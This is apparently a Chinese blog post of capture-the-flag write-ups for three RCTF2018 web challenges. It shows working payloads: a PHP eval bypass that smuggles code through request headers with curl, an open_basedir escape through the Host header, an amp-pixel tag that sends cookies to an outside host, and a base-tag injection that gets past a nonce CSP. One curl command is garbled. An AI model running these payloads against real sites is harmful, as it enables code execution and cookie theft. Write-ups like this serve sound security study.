LoRexxar's Blog

RCTF2018 Web Writeup

字数统计: 1.2k阅读时长: 5 min
2018/05/23 Share

RCTF刚好赶上了完成毕设的时间,没办法只接触了部分题目,可惜的是,其中很多题目都不是特别有意思,这里只整理部分我参与的..

r-cursive

1
2
3
4
5
LUL dat font
http://r-cursive.ml
hint: If you get stuck after arbitary code execution, try to escape the sandbox. phpinfo may help you figure out how the sandbox works.

蛮神奇的一题,题目代码是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$token = sha1($_SERVER['REMOTE_ADDR']);
$dir = '../sandbox/'.$token.'/';
is_dir($dir) ?: mkdir($dir);
is_file($dir.'index.php') ?: file_put_contents($dir.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
case 'go':
header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
break;
case 'reset':
system('rm -rf '.$dir);
break;
default:
show_source(__FILE__);
}
?>

访问?action=go之后,我们会自动跳到属于自己ip的沙盒中,打开题目,我们就能看到源码

1
2
3
<?php
sha1($_SERVER['REMOTE_ADDR']) === 'f6e5575f93a408c5cb709c73eaa822cb09b4d0f7' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

简单来说就是这里只能调用函数,没办法传入字符串,绕过比较简单。

1
curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: phpinfo();" -H "Accept: asdasd/asdasda"

通过获取headers的方式,我们可以通过设置ua来传入字符串,成功执行我想要的命令。这里我们先看看phpinfo的内容。

1
2
3
4
5
6
7
8
disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator
disable_functions
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link
open_basedir
/var/www/sandbox/47933bf3ea6c89fb70bb9c63930d414a4c4a70ae/:/tmp/

由于前两项的设置,导致后面open_baseidr完全没办法绕过,但我们可以用glob协议来列一部分目录。

1
if ($dh = opendir('glob:///*/*/*/*')) {while (($file = readdir($dh)) !== false) {echo $file.' ';}closedir($dh);}

经过一段时间的锁定,我们可以发现flag只能是在/var/www/sandbox/init.php文件里,但问题在于,在禁用了这些函数之后,我们无法绕过这里的限制。

所以我们可能需要想更巧妙地方法来绕过这里的限制,对于不同的请求来说,open_basedir都是不同的,那么服务端就需要获取请求的地址,然后做解析,这部分的配置一般是由apache来做的,但如果我们请求的host中不包含这个sha1的字符串,那么是不是我们可以让后端无法获取到这个字符串,就会将open_basedir设置为/var/www/sandbox,我们就可以读取这个目录下的文件了。

需要注意的是,当前目录也会随之改变,而当前目录是没有index.php的,所以我们需要加上目录。

1
2
3
4
5
ubuntu@VM-181-46-ubuntu:~$ curl "http://47933bf3ea6c89fb70bb9c63930d414a4c4a70ae.sandbox.r-cursive.ml:1337/47933bf3ea6c89fb70bb9c63930val(next(getallheaders()));" -H "User-Agent: show_source('../init.php');" -H "Host: .sandbox.r-cursive.ml"
ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/");
// flag: RCTF{apache_mod_vhost_alias_should_be_configured_correctly}

amp

1
Building the future web, together.

题目特别简单,页面内含有CSP,比较松但却开启了nonce CSP,完成的CSP头如下

1
script-src 'nonce-88f68fa5b7eb8a01de8b8e63b5fb0a6e' 'strict-dynamic'; style-src 'unsafe-inline'

题目中也很明白,没有任何标签过滤,然后页面中引入了google amp的框架,那么我们只要找一个amp文档中的gadgets,然后获取当前页面cookie就好了,不知道是不是我语法不对…

在翻阅文档的时候发现一个特殊的标签

https://www.ampproject.org/docs/analytics/analytics_basics#variable-substitution

这个标签不仅仅会发送请求,还有读取cookie的支持,就像这样

1
<amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(site-user-id-cookie-fallback-name)"></amp-pixel>

其中site-user-id-cookie-fallback-name为cookie的名字,这样发送到服务端就会获取到返回flag了。

rblog1

1
2
get `document.cookie`
http://rblog.2018.teamrois.cn

还算是一道比较神奇的题目,怎么说呢,预期解感觉脑洞成分大很多,非预期解蛮有意思的。

站内功能很普通,与0ctf中的club题目一致,提交表单包括title和content,其中title没有转义,effect可控,出现点在引入js的地方。

页面中使用了nonce CSP

1
default-src 'none'; script-src 'nonce-4fad2fa7830a95f09b6e6b3691e37d18'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'

本来我们的关注点都在effect这里

1
<script nonce="cb34dfb2531ce837c8ecdc0cae067938" src="/assets/js/effects/[you control].min.js"></script>

但script是个特殊标签,src无法覆盖,而且外链是大于内联js,所以我们也无法执行js,唯一的办法是通过上传接口上传文件,然后通过设置effect为../../../uploads/xxx来引入,则为可控,但上传接口对文件有判断,无法轻易fuzz,所以暂时把这里放下了。

这里我们用了非预期的解法,base标签

在title我们引入的标签没有被转义,而且CSP中没有设置base标签,那么我们直接通过base标签设置当前域,其中的相对目录就会引入我们想要的js。

拿到cookie

1
115.159.200.107 - - [20/May/2018:07:02:09 +0000] "GET /?flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012};%20hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d HTTP/1.1" 200 2261

CATALOG
  1. 1. r-cursive
  2. 2. amp
  3. 3. rblog1